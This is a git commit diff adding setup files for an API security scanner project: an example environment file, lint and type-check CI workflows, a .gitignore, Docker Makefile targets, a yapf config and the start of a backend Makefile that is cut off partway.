initial
This commit is contained in:
parent
02e8d891da
commit
7b0a43aaea
|
|
@ -0,0 +1,85 @@
|
||||||
|
# ⒸAngelaMos | 2025
|
||||||
|
# ---------------------------------------------
|
||||||
|
# API Security Scanner - Environment Variables
|
||||||
|
# Copy this file to .env and update the values
|
||||||
|
|
||||||
|
# Application Settings
|
||||||
|
APP_NAME="API Security Tester"
|
||||||
|
VERSION="1.0.0"
|
||||||
|
DEBUG=true
|
||||||
|
|
||||||
|
# Security
|
||||||
|
# IMPORTANT: Generate a secure random key for production!
|
||||||
|
# Example: openssl rand -hex 32
|
||||||
|
SECRET_KEY=your-secret-key-change-this-in-production
|
||||||
|
ALGORITHM=HS256
|
||||||
|
ACCESS_TOKEN_EXPIRE_MINUTES=1440
|
||||||
|
|
||||||
|
# Database (PostgreSQL)
|
||||||
|
# For local development (outside Docker)
|
||||||
|
POSTGRES_USER=apiuser
|
||||||
|
POSTGRES_PASSWORD=apipass
|
||||||
|
POSTGRES_DB=apisecurity
|
||||||
|
POSTGRES_HOST=localhost
|
||||||
|
POSTGRES_PORT=5432
|
||||||
|
|
||||||
|
# Database URL (overridden by docker-compose for container networking)
|
||||||
|
DATABASE_URL=postgresql://${POSTGRES_USER}:${POSTGRES_PASSWORD}@${POSTGRES_HOST}:${POSTGRES_PORT}/${POSTGRES_DB}
|
||||||
|
|
||||||
|
# Backend API
|
||||||
|
BACKEND_HOST=0.0.0.0
|
||||||
|
BACKEND_PORT=8000
|
||||||
|
|
||||||
|
# CORS Origins (comma-separated for multiple origins)
|
||||||
|
# Include both direct Vite dev server (5173) and nginx proxy (80)
|
||||||
|
CORS_ORIGINS=http://localhost:5173,http://localhost:3000,http://localhost
|
||||||
|
|
||||||
|
# Frontend API URL
|
||||||
|
# When using Docker with nginx: http://localhost/api
|
||||||
|
# When running Vite directly (npm run dev): http://localhost:8000
|
||||||
|
VITE_API_URL=http://localhost/api
|
||||||
|
|
||||||
|
# ---------------------------------------------
|
||||||
|
# Docker Host Port Mappings
|
||||||
|
# ---------------------------------------------
|
||||||
|
# Change these if you have port conflicts on your host machine
|
||||||
|
# Format: HOST_PORT:CONTAINER_PORT (only HOST_PORT is configurable)
|
||||||
|
HOST_DB_PORT=5432
|
||||||
|
HOST_BACKEND_PORT=8000
|
||||||
|
HOST_FRONTEND_PORT=5173
|
||||||
|
HOST_NGINX_PORT=80
|
||||||
|
# Uncomment for production HTTPS:
|
||||||
|
# HOST_NGINX_HTTPS_PORT=443
|
||||||
|
|
||||||
|
# ---------------------------------------------
|
||||||
|
# Scanner Configuration
|
||||||
|
# ---------------------------------------------
|
||||||
|
# Default maximum requests for scans
|
||||||
|
DEFAULT_MAX_REQUESTS=100
|
||||||
|
DEFAULT_TIMEOUT_SECONDS=10
|
||||||
|
DEFAULT_RETRY_COUNT=3
|
||||||
|
|
||||||
|
# Scanner rate limiting (outgoing requests to target)
|
||||||
|
SCANNER_RATE_LIMIT_THRESHOLD=100
|
||||||
|
SCANNER_RATE_LIMIT_WINDOW_SECONDS=60
|
||||||
|
|
||||||
|
# Scanner timeouts and connection limits
|
||||||
|
SCANNER_MAX_CONCURRENT_REQUESTS=50
|
||||||
|
SCANNER_CONNECTION_TIMEOUT=30
|
||||||
|
SCANNER_READ_TIMEOUT=30
|
||||||
|
|
||||||
|
# Scanner request spacing and timing
|
||||||
|
DEFAULT_JITTER_MS=100
|
||||||
|
DEFAULT_RETRY_WAIT_SECONDS=60
|
||||||
|
DEFAULT_BASELINE_SAMPLES=10
|
||||||
|
|
||||||
|
# Field Validation Constants
|
||||||
|
PASSWORD_MIN_LENGTH=8
|
||||||
|
PASSWORD_MAX_LENGTH=100
|
||||||
|
EMAIL_MAX_LENGTH=255
|
||||||
|
URL_MAX_LENGTH=2048
|
||||||
|
|
||||||
|
# Production Settings (optional, uncomment for prod)
|
||||||
|
# DEBUG=false
|
||||||
|
# CORS_ORIGINS=https://yourdomain.com
|
||||||
|
# VITE_API_URL=https://api.yourdomain.com
|
||||||
|
|
@ -0,0 +1,120 @@
|
||||||
|
name: ESLint Check
|
||||||
|
|
||||||
|
on:
|
||||||
|
pull_request:
|
||||||
|
branches: [ '*' ]
|
||||||
|
paths:
|
||||||
|
- 'frontend/**/*.ts'
|
||||||
|
- 'frontend/**/*.tsx'
|
||||||
|
- 'frontend/eslint.config.js'
|
||||||
|
- 'frontend/tsconfig*.json'
|
||||||
|
- 'frontend/package.json'
|
||||||
|
- '.github/workflows/eslint-check.yml'
|
||||||
|
|
||||||
|
jobs:
|
||||||
|
eslint-check:
|
||||||
|
name: ESLint TypeScript Check
|
||||||
|
runs-on: ubuntu-latest
|
||||||
|
|
||||||
|
permissions:
|
||||||
|
pull-requests: write
|
||||||
|
contents: read
|
||||||
|
|
||||||
|
defaults:
|
||||||
|
run:
|
||||||
|
working-directory: frontend
|
||||||
|
|
||||||
|
steps:
|
||||||
|
- name: Checkout code
|
||||||
|
uses: actions/checkout@v4
|
||||||
|
|
||||||
|
- name: Setup Node.js
|
||||||
|
uses: actions/setup-node@v4
|
||||||
|
with:
|
||||||
|
node-version: '20'
|
||||||
|
cache: 'npm'
|
||||||
|
cache-dependency-path: frontend/package-lock.json
|
||||||
|
|
||||||
|
- name: Install dependencies
|
||||||
|
run: npm install
|
||||||
|
|
||||||
|
- name: Run ESLint
|
||||||
|
id: eslint_check
|
||||||
|
run: |
|
||||||
|
echo "Running ESLint on TypeScript/React files..."
|
||||||
|
if npm run lint:eslint > eslint-output.txt 2>&1; then
|
||||||
|
echo "ESLINT_PASSED=true" >> $GITHUB_ENV
|
||||||
|
echo "✅ No ESLint errors found!"
|
||||||
|
echo "ERROR_COUNT=0" >> $GITHUB_ENV
|
||||||
|
else
|
||||||
|
echo "ESLINT_PASSED=false" >> $GITHUB_ENV
|
||||||
|
# Count error lines (lines that contain file paths with problems)
|
||||||
|
error_count=$(grep -c "^/" eslint-output.txt || echo "0")
|
||||||
|
echo "ERROR_COUNT=$error_count" >> $GITHUB_ENV
|
||||||
|
echo "⚠️ ESLint found issues in $error_count files!"
|
||||||
|
fi
|
||||||
|
cat eslint-output.txt
|
||||||
|
continue-on-error: true
|
||||||
|
|
||||||
|
- name: Create ESLint Summary
|
||||||
|
id: create_summary
|
||||||
|
if: github.event_name == 'pull_request'
|
||||||
|
run: |
|
||||||
|
{
|
||||||
|
echo '## 🔍 ESLint Results'
|
||||||
|
echo ''
|
||||||
|
|
||||||
|
if [[ "${{ env.ESLINT_PASSED }}" == "true" ]]; then
|
||||||
|
echo '### ✅ **Perfect! No ESLint issues found** 🎉'
|
||||||
|
echo ''
|
||||||
|
echo 'Your TypeScript and React code follows all the coding standards perfectly!'
|
||||||
|
echo ''
|
||||||
|
echo '**What was checked:**'
|
||||||
|
echo '- TypeScript strict type checking and stylistic rules'
|
||||||
|
echo '- React component patterns and hooks usage'
|
||||||
|
echo '- Code complexity, naming conventions, and best practices'
|
||||||
|
echo '- Accessibility (jsx-a11y) and React Refresh compatibility'
|
||||||
|
else
|
||||||
|
echo '### ❌ **ESLint found issues in ${{ env.ERROR_COUNT }} files**'
|
||||||
|
echo ''
|
||||||
|
echo 'Please review and fix the TypeScript/React issues below:'
|
||||||
|
echo ''
|
||||||
|
echo '<details><summary>📋 View detailed ESLint output</summary>'
|
||||||
|
echo ''
|
||||||
|
echo '```'
|
||||||
|
head -100 eslint-output.txt
|
||||||
|
echo '```'
|
||||||
|
echo '</details>'
|
||||||
|
echo ''
|
||||||
|
echo '**How to fix:**'
|
||||||
|
echo '1. Run `cd frontend && npm run lint:eslint` locally to see the issues'
|
||||||
|
echo '2. Fix the reported TypeScript, React, and code quality problems'
|
||||||
|
echo '3. For auto-fixable issues: `cd frontend && npx eslint . --ext .ts,.tsx --fix`'
|
||||||
|
echo '4. Push your changes to update this PR'
|
||||||
|
fi
|
||||||
|
echo ''
|
||||||
|
echo '**Commands:**'
|
||||||
|
echo '- `cd frontend && npm run lint:eslint` - Run ESLint'
|
||||||
|
echo '- `cd frontend && npx eslint . --ext .ts,.tsx --fix` - Auto-fix issues'
|
||||||
|
echo '- ESLint config: `frontend/eslint.config.js`'
|
||||||
|
echo ''
|
||||||
|
echo '<!-- eslint-check-comment-marker -->'
|
||||||
|
} > eslint-report.md
|
||||||
|
|
||||||
|
- name: Post PR Comment
|
||||||
|
if: github.event_name == 'pull_request'
|
||||||
|
uses: peter-evans/create-or-update-comment@v4
|
||||||
|
with:
|
||||||
|
issue-number: ${{ github.event.pull_request.number }}
|
||||||
|
body-path: frontend/eslint-report.md
|
||||||
|
edit-mode: replace
|
||||||
|
|
||||||
|
- name: Exit with proper code
|
||||||
|
run: |
|
||||||
|
if [[ "${{ env.ESLINT_PASSED }}" == "false" ]]; then
|
||||||
|
echo "❌ ESLint checks failed. Please fix the issues above."
|
||||||
|
exit 1
|
||||||
|
else
|
||||||
|
echo "✅ All ESLint checks passed!"
|
||||||
|
exit 0
|
||||||
|
fi
|
||||||
|
|
@ -0,0 +1,156 @@
|
||||||
|
name: Lint & Type Check
|
||||||
|
|
||||||
|
on:
|
||||||
|
pull_request:
|
||||||
|
branches: [ '*' ]
|
||||||
|
workflow_dispatch:
|
||||||
|
|
||||||
|
jobs:
|
||||||
|
lint:
|
||||||
|
name: Run Linters
|
||||||
|
runs-on: ubuntu-latest
|
||||||
|
|
||||||
|
permissions:
|
||||||
|
pull-requests: write
|
||||||
|
contents: read
|
||||||
|
|
||||||
|
defaults:
|
||||||
|
run:
|
||||||
|
working-directory: backend
|
||||||
|
|
||||||
|
steps:
|
||||||
|
- name: Checkout code
|
||||||
|
uses: actions/checkout@v4
|
||||||
|
|
||||||
|
- name: Set up Python
|
||||||
|
uses: actions/setup-python@v5
|
||||||
|
with:
|
||||||
|
python-version: '3.12'
|
||||||
|
|
||||||
|
- name: Cache pip dependencies
|
||||||
|
uses: actions/cache@v4
|
||||||
|
with:
|
||||||
|
path: ~/.cache/pip
|
||||||
|
key: ${{ runner.os }}-pip-${{ hashFiles('backend/pyproject.toml') }}
|
||||||
|
restore-keys: |
|
||||||
|
${{ runner.os }}-pip-
|
||||||
|
|
||||||
|
- name: Install dependencies
|
||||||
|
run: |
|
||||||
|
python -m pip install --upgrade pip
|
||||||
|
pip install -e ".[dev]"
|
||||||
|
|
||||||
|
- name: Run pylint
|
||||||
|
id: pylint
|
||||||
|
run: |
|
||||||
|
echo "Running pylint..."
|
||||||
|
if pylint . > pylint-output.txt 2>&1; then
|
||||||
|
echo "PYLINT_PASSED=true" >> $GITHUB_ENV
|
||||||
|
echo "✅ No pylint errors found!"
|
||||||
|
else
|
||||||
|
echo "PYLINT_PASSED=false" >> $GITHUB_ENV
|
||||||
|
echo "⚠️ Pylint found issues!"
|
||||||
|
fi
|
||||||
|
cat pylint-output.txt
|
||||||
|
continue-on-error: true
|
||||||
|
|
||||||
|
- name: Run ruff
|
||||||
|
id: ruff
|
||||||
|
run: |
|
||||||
|
echo "Running ruff check..."
|
||||||
|
if ruff check . > ruff-output.txt 2>&1; then
|
||||||
|
echo "RUFF_PASSED=true" >> $GITHUB_ENV
|
||||||
|
echo "✅ No ruff errors found!"
|
||||||
|
else
|
||||||
|
echo "RUFF_PASSED=false" >> $GITHUB_ENV
|
||||||
|
echo "⚠️ Ruff found issues"
|
||||||
|
fi
|
||||||
|
cat ruff-output.txt
|
||||||
|
continue-on-error: true
|
||||||
|
|
||||||
|
- name: Run mypy
|
||||||
|
id: mypy
|
||||||
|
run: |
|
||||||
|
echo "Running mypy..."
|
||||||
|
if mypy . > mypy-output.txt 2>&1; then
|
||||||
|
echo "MYPY_PASSED=true" >> $GITHUB_ENV
|
||||||
|
echo "✅ No mypy errors found"
|
||||||
|
else
|
||||||
|
echo "MYPY_PASSED=false" >> $GITHUB_ENV
|
||||||
|
echo "⚠️ Mypy found issues"
|
||||||
|
fi
|
||||||
|
cat mypy-output.txt
|
||||||
|
continue-on-error: true
|
||||||
|
|
||||||
|
- name: Create Lint Summary
|
||||||
|
id: create_summary
|
||||||
|
if: github.event_name == 'pull_request'
|
||||||
|
run: |
|
||||||
|
{
|
||||||
|
echo '## 🔍 Lint & Type Check Results'
|
||||||
|
echo ''
|
||||||
|
|
||||||
|
# Pylint Status
|
||||||
|
if [[ "${{ env.PYLINT_PASSED }}" == "true" ]]; then
|
||||||
|
echo '### ✅ Pylint: **Passed**'
|
||||||
|
echo 'No pylint issues found.'
|
||||||
|
else
|
||||||
|
echo '### ⚠️ Pylint: **Issues Found**'
|
||||||
|
echo '<details><summary>View pylint output</summary>'
|
||||||
|
echo ''
|
||||||
|
echo '```'
|
||||||
|
head -100 pylint-output.txt
|
||||||
|
echo '```'
|
||||||
|
echo '</details>'
|
||||||
|
fi
|
||||||
|
echo ''
|
||||||
|
|
||||||
|
# Ruff Status
|
||||||
|
if [[ "${{ env.RUFF_PASSED }}" == "true" ]]; then
|
||||||
|
echo '### ✅ Ruff: **Passed**'
|
||||||
|
echo 'No ruff issues found.'
|
||||||
|
else
|
||||||
|
echo '### ⚠️ Ruff: **Issues Found**'
|
||||||
|
echo '<details><summary>View ruff output</summary>'
|
||||||
|
echo ''
|
||||||
|
echo '```'
|
||||||
|
head -100 ruff-output.txt
|
||||||
|
echo '```'
|
||||||
|
echo '</details>'
|
||||||
|
fi
|
||||||
|
echo ''
|
||||||
|
|
||||||
|
# Mypy Status
|
||||||
|
if [[ "${{ env.MYPY_PASSED }}" == "true" ]]; then
|
||||||
|
echo '### ✅ Mypy: **Passed**'
|
||||||
|
echo 'No mypy issues found.'
|
||||||
|
else
|
||||||
|
echo '### ⚠️ Mypy: **Issues Found**'
|
||||||
|
echo '<details><summary>View mypy output</summary>'
|
||||||
|
echo ''
|
||||||
|
echo '```'
|
||||||
|
head -100 mypy-output.txt
|
||||||
|
echo '```'
|
||||||
|
echo '</details>'
|
||||||
|
fi
|
||||||
|
echo ''
|
||||||
|
|
||||||
|
# Overall Summary
|
||||||
|
if [[ "${{ env.PYLINT_PASSED }}" == "true" ]] && [[ "${{ env.RUFF_PASSED }}" == "true" ]] && [[ "${{ env.MYPY_PASSED }}" == "true" ]]; then
|
||||||
|
echo '---'
|
||||||
|
echo '### All checks passed!'
|
||||||
|
else
|
||||||
|
echo '---'
|
||||||
|
echo '### Review the issues above and consider fixing them.'
|
||||||
|
fi
|
||||||
|
echo ''
|
||||||
|
echo '<!-- lint-check-comment-marker -->'
|
||||||
|
} > ../lint-report.md
|
||||||
|
|
||||||
|
- name: Post PR Comment
|
||||||
|
if: github.event_name == 'pull_request'
|
||||||
|
uses: peter-evans/create-or-update-comment@v4
|
||||||
|
with:
|
||||||
|
issue-number: ${{ github.event.pull_request.number }}
|
||||||
|
body-path: lint-report.md
|
||||||
|
comment-marker: lint-check-comment-marker
|
||||||
|
|
@ -0,0 +1,129 @@
|
||||||
|
name: TypeScript Type Check
|
||||||
|
|
||||||
|
on:
|
||||||
|
pull_request:
|
||||||
|
branches: [ '*' ]
|
||||||
|
paths:
|
||||||
|
- 'frontend/**/*.ts'
|
||||||
|
- 'frontend/**/*.tsx'
|
||||||
|
- 'frontend/tsconfig*.json'
|
||||||
|
- 'frontend/package.json'
|
||||||
|
- '.github/workflows/typescript-check.yml'
|
||||||
|
|
||||||
|
jobs:
|
||||||
|
typescript-check:
|
||||||
|
name: TypeScript Type Check
|
||||||
|
runs-on: ubuntu-latest
|
||||||
|
|
||||||
|
permissions:
|
||||||
|
pull-requests: write
|
||||||
|
contents: read
|
||||||
|
|
||||||
|
defaults:
|
||||||
|
run:
|
||||||
|
working-directory: frontend
|
||||||
|
|
||||||
|
steps:
|
||||||
|
- name: Checkout code
|
||||||
|
uses: actions/checkout@v4
|
||||||
|
|
||||||
|
- name: Setup Node.js
|
||||||
|
uses: actions/setup-node@v4
|
||||||
|
with:
|
||||||
|
node-version: '20'
|
||||||
|
cache: 'npm'
|
||||||
|
cache-dependency-path: frontend/package-lock.json
|
||||||
|
|
||||||
|
- name: Install dependencies
|
||||||
|
run: |
|
||||||
|
for i in {1..3}; do
|
||||||
|
echo "Attempt $i of 3..."
|
||||||
|
if npm install; then
|
||||||
|
echo "✅ npm install succeeded"
|
||||||
|
break
|
||||||
|
else
|
||||||
|
echo "⚠️ npm install failed, retrying in 10 seconds..."
|
||||||
|
sleep 10
|
||||||
|
fi
|
||||||
|
done
|
||||||
|
|
||||||
|
- name: Run TypeScript type checking
|
||||||
|
id: typescript_check
|
||||||
|
run: |
|
||||||
|
echo "Running TypeScript type checking..."
|
||||||
|
if npm run lint:types > typescript-output.txt 2>&1; then
|
||||||
|
echo "TYPESCRIPT_PASSED=true" >> $GITHUB_ENV
|
||||||
|
echo "✅ No TypeScript type errors found!"
|
||||||
|
echo "ERROR_COUNT=0" >> $GITHUB_ENV
|
||||||
|
else
|
||||||
|
echo "TYPESCRIPT_PASSED=false" >> $GITHUB_ENV
|
||||||
|
# Count error lines (lines that contain errors)
|
||||||
|
error_count=$(grep -c "error TS" typescript-output.txt || echo "0")
|
||||||
|
echo "ERROR_COUNT=$error_count" >> $GITHUB_ENV
|
||||||
|
echo "⚠️ TypeScript found $error_count type errors!"
|
||||||
|
fi
|
||||||
|
cat typescript-output.txt
|
||||||
|
continue-on-error: true
|
||||||
|
|
||||||
|
- name: Create TypeScript Summary
|
||||||
|
id: create_summary
|
||||||
|
if: github.event_name == 'pull_request'
|
||||||
|
run: |
|
||||||
|
{
|
||||||
|
echo '## 📝 TypeScript Type Check Results'
|
||||||
|
echo ''
|
||||||
|
|
||||||
|
if [[ "${{ env.TYPESCRIPT_PASSED }}" == "true" ]]; then
|
||||||
|
echo '### ✅ **Perfect! No TypeScript type errors found** 🎉'
|
||||||
|
echo ''
|
||||||
|
echo 'Your TypeScript code passes all strict type checking requirements!'
|
||||||
|
echo ''
|
||||||
|
echo '**What was checked:**'
|
||||||
|
echo '- Strict type checking with `exactOptionalPropertyTypes`'
|
||||||
|
echo '- No unused locals or parameters'
|
||||||
|
echo '- Proper return types and void expressions'
|
||||||
|
echo '- Module resolution and import/export syntax'
|
||||||
|
else
|
||||||
|
echo '### ❌ **TypeScript found ${{ env.ERROR_COUNT }} type errors**'
|
||||||
|
echo ''
|
||||||
|
echo 'Please review and fix the TypeScript type errors below:'
|
||||||
|
echo ''
|
||||||
|
echo '<details><summary>📋 View detailed TypeScript output</summary>'
|
||||||
|
echo ''
|
||||||
|
echo '```'
|
||||||
|
head -100 typescript-output.txt
|
||||||
|
echo '```'
|
||||||
|
echo '</details>'
|
||||||
|
echo ''
|
||||||
|
echo '**How to fix:**'
|
||||||
|
echo '1. Run `cd frontend && npm run lint:types` locally to see the type errors'
|
||||||
|
echo '2. Fix the reported TypeScript type issues'
|
||||||
|
echo '3. Ensure all variables have proper types and return types are explicit'
|
||||||
|
echo '4. Push your changes to update this PR'
|
||||||
|
fi
|
||||||
|
echo ''
|
||||||
|
echo '**Commands:**'
|
||||||
|
echo '- `cd frontend && npm run lint:types` - Run TypeScript type checking'
|
||||||
|
echo '- `cd frontend && npm run build` - Run full build with type checking'
|
||||||
|
echo '- TypeScript config: `frontend/tsconfig.app.json`'
|
||||||
|
echo ''
|
||||||
|
echo '<!-- typescript-check-comment-marker -->'
|
||||||
|
} > typescript-report.md
|
||||||
|
|
||||||
|
- name: Post PR Comment
|
||||||
|
if: github.event_name == 'pull_request'
|
||||||
|
uses: peter-evans/create-or-update-comment@v4
|
||||||
|
with:
|
||||||
|
issue-number: ${{ github.event.pull_request.number }}
|
||||||
|
body-path: frontend/typescript-report.md
|
||||||
|
edit-mode: replace
|
||||||
|
|
||||||
|
- name: Exit with proper code
|
||||||
|
run: |
|
||||||
|
if [[ "${{ env.TYPESCRIPT_PASSED }}" == "false" ]]; then
|
||||||
|
echo "❌ TypeScript type checking failed. Please fix the type errors above."
|
||||||
|
exit 1
|
||||||
|
else
|
||||||
|
echo "✅ All TypeScript type checks passed!"
|
||||||
|
exit 0
|
||||||
|
fi
|
||||||
|
|
@ -0,0 +1,50 @@
|
||||||
|
# ⒸAngelaMos | 2025
|
||||||
|
# Gitignore - This is where you list files/folders that
|
||||||
|
# should not be publicly commited to the remote repository
|
||||||
|
|
||||||
|
# Python
|
||||||
|
__pycache__/
|
||||||
|
*.py[cod]
|
||||||
|
*$py.class
|
||||||
|
*.so
|
||||||
|
.Python
|
||||||
|
venv/
|
||||||
|
env/
|
||||||
|
ENV/
|
||||||
|
.venv
|
||||||
|
*.cache
|
||||||
|
*.egg-info
|
||||||
|
|
||||||
|
# FastAPI
|
||||||
|
.env
|
||||||
|
.env.local
|
||||||
|
|
||||||
|
# Database
|
||||||
|
*.db
|
||||||
|
*.sqlite3
|
||||||
|
|
||||||
|
# IDEs
|
||||||
|
.vscode/
|
||||||
|
.idea/
|
||||||
|
*.swp
|
||||||
|
*.swo
|
||||||
|
|
||||||
|
# Node/Frontend
|
||||||
|
node_modules/
|
||||||
|
dist/
|
||||||
|
build/
|
||||||
|
.DS_Store
|
||||||
|
|
||||||
|
# Logs
|
||||||
|
*.log
|
||||||
|
|
||||||
|
# Testing
|
||||||
|
.pytest_cache/
|
||||||
|
.coverage
|
||||||
|
htmlcov/
|
||||||
|
|
||||||
|
# Docker
|
||||||
|
.dockerignore
|
||||||
|
|
||||||
|
# OS
|
||||||
|
Thumbs.db
|
||||||
|
|
@ -0,0 +1,57 @@
|
||||||
|
# Makefile
|
||||||
|
# ⒸAngelaMos | 2025
|
||||||
|
# Alias commands to easily run commands (use this or package.json scripts)
|
||||||
|
|
||||||
|
.PHONY: help dev dev-build dev-down dev-logs prod prod-build prod-down prod-logs clean clean-all
|
||||||
|
|
||||||
|
help:
|
||||||
|
@echo "API Security Scanner - Available Commands"
|
||||||
|
@echo "=========================================="
|
||||||
|
@echo ""
|
||||||
|
@echo "Development:"
|
||||||
|
@echo " make dev - Start development environment"
|
||||||
|
@echo " make dev-build - Build and start development environment"
|
||||||
|
@echo " make dev-down - Stop development environment"
|
||||||
|
@echo " make dev-logs - View development logs (follow mode)"
|
||||||
|
@echo ""
|
||||||
|
@echo "Production:"
|
||||||
|
@echo " make prod - Start production environment (detached)"
|
||||||
|
@echo " make prod-build - Build and start production environment"
|
||||||
|
@echo " make prod-down - Stop production environment"
|
||||||
|
@echo " make prod-logs - View production logs (follow mode)"
|
||||||
|
@echo ""
|
||||||
|
@echo "Cleanup:"
|
||||||
|
@echo " make clean - Stop all containers and remove volumes"
|
||||||
|
@echo " make clean-all - Clean + remove all Docker images/cache"
|
||||||
|
@echo ""
|
||||||
|
|
||||||
|
dev:
|
||||||
|
docker compose -f docker-compose.dev.yml up
|
||||||
|
|
||||||
|
dev-build:
|
||||||
|
docker compose -f docker-compose.dev.yml up --build
|
||||||
|
|
||||||
|
dev-down:
|
||||||
|
docker compose -f docker-compose.dev.yml down
|
||||||
|
|
||||||
|
dev-logs:
|
||||||
|
docker compose -f docker-compose.dev.yml logs -f
|
||||||
|
|
||||||
|
prod:
|
||||||
|
docker compose -f docker-compose.prod.yml up -d
|
||||||
|
|
||||||
|
prod-build:
|
||||||
|
docker compose -f docker-compose.prod.yml up --build -d
|
||||||
|
|
||||||
|
prod-down:
|
||||||
|
docker compose -f docker-compose.prod.yml down
|
||||||
|
|
||||||
|
prod-logs:
|
||||||
|
docker compose -f docker-compose.prod.yml logs -f
|
||||||
|
|
||||||
|
clean:
|
||||||
|
docker compose -f docker-compose.dev.yml down -v
|
||||||
|
docker compose -f docker-compose.prod.yml down -v
|
||||||
|
|
||||||
|
clean-all: clean
|
||||||
|
docker system prune -af --volumes
|
||||||
|
|
@ -0,0 +1,47 @@
|
||||||
|
# ⒸAngelaMos | 2025 | CarterPerez-dev
|
||||||
|
[style]
|
||||||
|
based_on_style = pep8
|
||||||
|
column_limit = 70
|
||||||
|
indent_width = 4
|
||||||
|
continuation_indent_width = 4
|
||||||
|
indent_closing_brackets = false
|
||||||
|
dedent_closing_brackets = true
|
||||||
|
indent_blank_lines = false
|
||||||
|
spaces_before_comment = 2
|
||||||
|
spaces_around_power_operator = false
|
||||||
|
spaces_around_default_or_named_assign = true
|
||||||
|
space_between_ending_comma_and_closing_bracket = false
|
||||||
|
space_inside_brackets = false
|
||||||
|
spaces_around_subscript_colon = true
|
||||||
|
blank_line_before_nested_class_or_def = false
|
||||||
|
blank_line_before_class_docstring = false
|
||||||
|
blank_lines_around_top_level_definition = 2
|
||||||
|
blank_lines_between_top_level_imports_and_variables = 2
|
||||||
|
blank_line_before_module_docstring = false
|
||||||
|
split_before_logical_operator = true
|
||||||
|
split_before_first_argument = true
|
||||||
|
split_before_named_assigns = true
|
||||||
|
split_complex_comprehension = true
|
||||||
|
split_before_expression_after_opening_paren = false
|
||||||
|
split_before_closing_bracket = true
|
||||||
|
split_all_comma_separated_values = true
|
||||||
|
split_all_top_level_comma_separated_values = false
|
||||||
|
coalesce_brackets = false
|
||||||
|
each_dict_entry_on_separate_line = true
|
||||||
|
allow_multiline_lambdas = false
|
||||||
|
allow_multiline_dictionary_keys = false
|
||||||
|
split_penalty_import_names = 0
|
||||||
|
join_multiple_lines = false
|
||||||
|
align_closing_bracket_with_visual_indent = true
|
||||||
|
arithmetic_precedence_indication = false
|
||||||
|
split_penalty_for_added_line_split = 275
|
||||||
|
use_tabs = false
|
||||||
|
split_before_dot = false
|
||||||
|
split_arguments_when_comma_terminated = true
|
||||||
|
i18n_function_call = ['_', 'N_', 'gettext', 'ngettext']
|
||||||
|
i18n_comment = ['# Translators:', '# i18n:']
|
||||||
|
split_penalty_comprehension = 80
|
||||||
|
split_penalty_after_opening_bracket = 280
|
||||||
|
split_penalty_before_if_expr = 0
|
||||||
|
split_penalty_bitwise_operator = 290
|
||||||
|
split_penalty_logical_operator = 0
|
||||||
|
|
@ -0,0 +1,154 @@
|
||||||
|
# CertGames Backend Makefile
|
||||||
|
# 2025 | ©AngelaMos
|
||||||
|
|
||||||
|
|
||||||
|
PYTHON := python
|
||||||
|
|
||||||
|
.DEFAULT_GOAL := dev
|
||||||
|
|
||||||
|
MAKEFLAGS += --no-print-directory
|
||||||
|
|
||||||
|
.PHONY: help dev install reinstall check fix mypy clean tree TODO pylint
|
||||||
|
|
||||||
|
|
||||||
|
define ASCII
|
||||||
|
@echo "\033[35m"
|
||||||
|
@echo " ⡋⣡⣴⣶⣶⡀⠄⠄⠙⢿⣿⣿⣿⣿⣿⣴⣿⣿⣿⢃⣤⣄⣀⣥⣿"
|
||||||
|
@echo " ⢸⣇⠻⣿⣿⣿⣧⣀⢀⣠⡌⢻⣿⣿⣿⣿⣿⣿⣿⣿⣿⠿⠿⠿⣿⣿"
|
||||||
|
@echo " ⢸⣿⣷⣤⣤⣤⣬⣙⣛⢿⣿⣿⣿⣿⣿⣿⡿⣿⣿⡍⠄⠄⢀⣤⣄⠉"
|
||||||
|
@echo " ⣖⣿⣿⣿⣿⣿⣿⣿⣿⣿⢿⣿⣿⣿⣿⣿⢇⣿⣿⡷⠶⠶⢿⣿⣿⠇⢀"
|
||||||
|
@echo " ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣽⣿⣿⣿⡇⣿⣿⣿⣿⣿⣿⣷⣶⣥⣴"
|
||||||
|
@echo " ⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿"
|
||||||
|
@echo " ⣦⣌⣛⣻⣿⣿⣧⠙⠛⠛⡭⠅⠒⠦⠭⣭⡻⣿⣿⣿⣿⣿⣿⣿⣿⡿⠃⠄"
|
||||||
|
@echo " ⣿⣿⣿⣿⣿⣿⣿⡆⠄⠄⠄⠄⠄⠄⠄⠄⠹⠈⢋⣽⣿⣿⣿⣿⣵⣾"
|
||||||
|
@echo " ⣿⣿⣿⣿⣿⣿⣿⣿⠄⣴⣿⣶⣄⠄⣴⣶⠄⢀⣾⣿⣿⣿⣿⣿⣿⠃⠄⠄"
|
||||||
|
@echo " ⠈⠻⣿⣿⣿⣿⣿⣿⡄⢻⣿⣿⣿⠄⣿⣿⡀⣾⣿⣿⣿⣿⣛⠛⠁"
|
||||||
|
@echo " ⠄⠄⠈⠛⢿⣿⣿⣿⠁⠞⢿⣿⣿⡄⢿⣿⡇⣸⣿⣿⠿⠛⠁⠄"
|
||||||
|
@echo " ⠄⠄⠄⠄⠄⠉⠻⣿⣿⣾⣦⡙⠻⣷⣾⣿⠃⠿⠋⠁⠄"
|
||||||
|
@echo "\033[0m"
|
||||||
|
endef
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
help:
|
||||||
|
@echo "\033[1;91mC\033[1;92me\033[1;93mr\033[1;94mt\033[1;95mG\033[1;96ma\033[1;91mm\033[1;92me\033[1;93ms\033[0m \033[1;94mBackend\033[0m \033[1;95mTesting\033[0m \033[1;96mCommands\033[0m"
|
||||||
|
@echo "\033[1;5;93m==============================================\033[0m"
|
||||||
|
@echo ""
|
||||||
|
@echo "\033[1;4;96mSetup:\033[0m"
|
||||||
|
@echo " \033[92mmake \033[36minstall-dev\033[0m \033[94m- Install development dependencies\033[0m"
|
||||||
|
@echo " \033[92mmake \033[36mreinstall\033[0m \033[94m- Reinstall all dependencies with upgrades\033[0m"
|
||||||
|
@echo ""
|
||||||
|
@echo "\033[1;4;91mSyntax Checking (Ruff):\033[0m"
|
||||||
|
@echo " \033[92mmake \033[36mqa\033[0m \033[94m- Check all code for syntax issues\033[0m"
|
||||||
|
@echo "\033[1;4;91mSyntax Fixing (Ruff):\033[0m"
|
||||||
|
@echo " \033[92mmake \033[36mqa\033[0m \033[94m- Fix all code of syntax issues\033[0m"
|
||||||
|
@echo ""
|
||||||
|
